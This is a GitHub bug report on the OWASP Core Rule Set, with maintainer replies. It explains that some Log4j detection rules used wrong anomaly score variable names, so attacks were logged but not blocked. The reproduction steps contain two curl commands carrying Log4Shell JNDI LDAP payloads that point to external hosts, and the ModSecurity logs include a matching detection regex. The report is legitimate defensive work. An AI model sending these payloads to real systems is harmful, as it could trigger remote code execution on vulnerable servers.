Using wrong anomaly score variable names on rules: 944140, 944150, 944151, 944260, 944152.

Describe the bug

Rules 944140, 944150, 944151, 944260, 944152 are using anomaly score variable names as: anomaly_score_pl1, anomaly_score_pl2, anomaly_score_pl4. However, as I see that they are not scored in the blocking evaluation rules. (As I see, the exact anomaly score variable names are: inbound_anomaly_score_pl[1-4] or outbound_anomaly_score_pl[1-4]).

As a result request wasn’t blocked even though it violated those rules. I tried change the anomaly score variable names to inbound_anomaly_score_pl[1-4] and Modsecurity is worked correctly.

Steps to reproduce

Perform CVE-2021-44228 Log4j attacks:

• curl -H ‘User-Agent: ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/}’ sitetest.com -i
• curl -H ‘User-Agent: ${jndi:ldap://2862853fca0b.bingsearchlib.com:39356/a}’ sitetest.com -i

Expected behaviour

Request should be blocked. Modsecurity output log Warning for violating the rule with deny log:

[Thu Oct 06 23:35:17.942 2022] [client 5.5.5.1] ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?i)(?:\$|$?)(?:\{|&(?:lbrace|lcub);?)(?:[^}]{0,15}(?:\$|$?)(?:\{|&(?:lbrace|lcub);?)|(?:jndi|ctx))' against variable `REQUEST_HEADERS:User-Agent' (Value: `${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/}' ) [file "/usr/wp_core/config/rules/crs-v4-rc1/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf"] [line "207"] [id "944150"] [rev ""] [msg "Potential Remote Command Execution: Log4j / Log4shell"] [data ""] [severity "2"] [ver "OWASP_CRS/4.0.0-rc1"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-java"] [tag "platform-multi"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "capec/1000/152/137/6"] [tag "PCI/6.5.2"] [tag "paranoia-level/1"] [hostname "sitetest.com"] [uri "/"] [unique_id "12478686465060999"] [ref "o0,6v27,57t:urlDecodeUni,t:jsDecode,t:htmlEntityDecode"] [Thu Oct 06 23:35:17.943 2022] [client 5.5.5.1] ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `1' against variable `TX:BLOCKING_INBOUND_ANOMALY_SCORE' (Value: `5' ) [file "/usr/wp_core/config/rules/crs-v4-rc1/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "176"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [data ""] [severity "0"] [ver "OWASP_CRS/4.0.0-rc1"] [maturity "0"] [accuracy "0"] [tag "anomaly-evaluation"] [hostname "sitetest.com"] [uri "/"] [unique_id "12478686465060999"] [ref ""]

Actual behaviour

Request wasn’t blocked.

Modsecurity output log Warning for violating the rule but no deny log:

[Thu Oct 06 23:35:17.942 2022] [client 5.5.5.1] ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?i)(?:\$|$?)(?:\{|&(?:lbrace|lcub);?)(?:[^}]{0,15}(?:\$|$?)(?:\{|&(?:lbrace|lcub);?)|(?:jndi|ctx))' against variable `REQUEST_HEADERS:User-Agent' (Value: `${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/}' ) [file "/usr/wp_core/config/rules/crs-v4-rc1/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf"] [line "207"] [id "944150"] [rev ""] [msg "Potential Remote Command Execution: Log4j / Log4shell"] [data ""] [severity "2"] [ver "OWASP_CRS/4.0.0-rc1"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-java"] [tag "platform-multi"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "capec/1000/152/137/6"] [tag "PCI/6.5.2"] [tag "paranoia-level/1"] [hostname "sitetest.com"] [uri "/"] [unique_id "12478686465060999"] [ref "o0,6v27,57t:urlDecodeUni,t:jsDecode,t:htmlEntityDecode"]

Additional context

Your Environment

Using Mod-security 3 with core rule set. inbound anomaly score threshold: 1 outbound anomaly score threshold: 5 Paranoia level: 1

• CRS version (e.g., v3.2.0):
• Paranoia level setting:
• ModSecurity version (e.g., 2.9.3):
• Web Server and version (e.g., apache 2.4.41):
• Operating System and version:

[airween]

Status of mentioned PR’s above: #2832 - merged, closed #2835 - merged, closed

@LaVa264 didn’t write the used CRS version, but based on his report he uses v4.0 ([ver "OWASP_CRS/4.0.0-rc1"] in the attached log).

We fixed the mentioned bugs in this commit

I think we are good so I’m closing this issue now.

Thanks for the report @LaVa264.

[dune73]

The fix was merged (#2832 ?) and the check_rules.py script stopped complaining, so we’re good for v4 and I think we can close this.